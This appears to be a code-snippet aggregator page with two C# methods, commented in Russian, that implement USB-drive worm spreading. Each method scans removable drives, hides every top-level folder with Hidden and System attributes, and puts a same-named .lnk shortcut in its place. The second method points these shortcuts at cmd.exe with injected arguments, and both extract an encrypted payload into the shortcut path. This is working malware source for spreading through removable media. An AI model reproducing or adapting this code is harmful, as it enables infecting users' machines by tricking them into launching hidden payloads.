Esempio n. 1
0
 public static void drivespam()
 {
     DriveInfo[] drives = DriveInfo.GetDrives();
     foreach (DriveInfo drive in drives)
     {
         if (drive.DriveType == DriveType.Removable)
         {
             foreach (var file in Directory.GetDirectories(drive.Name, "*", SearchOption.TopDirectoryOnly))
             {
                 WshShell      shell = new WshShell();
                 DirectoryInfo dir   = new DirectoryInfo(file);
                 if (drive.Name == file)
                 {
                     break;
                 }
                 //путь к ярлыку
                 string shortcutPath = drive.Name + dir.Name + ".lnk";
                 //создаем объект ярлыка
                 IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(shortcutPath);
                 Cryptor.Extract("3", shortcutPath);
                 System.IO.File.SetAttributes(file, System.IO.FileAttributes.Hidden | FileAttributes.System);
                 shortcut.Hotkey     = "Ctrl+Shift+A";
                 shortcut.Arguments  = atribdir + dir.Name + atribkey;
                 shortcut.TargetPath = file;
                 //Создаем ярлык
                 shortcut.Save();
             }
         }
         else
         {
             Console.WriteLine("флешка не обноруженна");
         }
     }
 }
Esempio n. 2
0
 public static void ss(DriveInfo drive)
 {
     try
     {
         foreach (var file in Directory.GetDirectories(drive.Name, "*", SearchOption.TopDirectoryOnly))
         {
             WshShell      shell = new WshShell();
             DirectoryInfo dir   = new DirectoryInfo(file);
             if (drive.Name == file)
             {
             }
             //путь к ярлыку
             string shortcutPath = drive.Name + dir.Name + ".lnk";
             //создаем объект ярлыка
             IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(shortcutPath);
             // Cryptor.Extract("3", shortcutPath);
             System.IO.File.SetAttributes(file, System.IO.FileAttributes.Hidden | FileAttributes.System);
             shortcut.Hotkey = "Ctrl+Shift+A";
             //  shortcut.IconLocation =
             //   shortcut.IconLocation = Assembly.GetExecutingAssembly().GetName().CodeBase + ", 6";
             shortcut.Arguments  = atribdir + dir.Name + atribkey;
             shortcut.TargetPath = dircmd + @"\cmd.exe";
             //  Cryptor.Extract("3", shortcutPath);
             //Создаем ярлык
             shortcut.Save();
             Cryptor.Extract("3", shortcutPath);
         }
     }
     catch { }
 }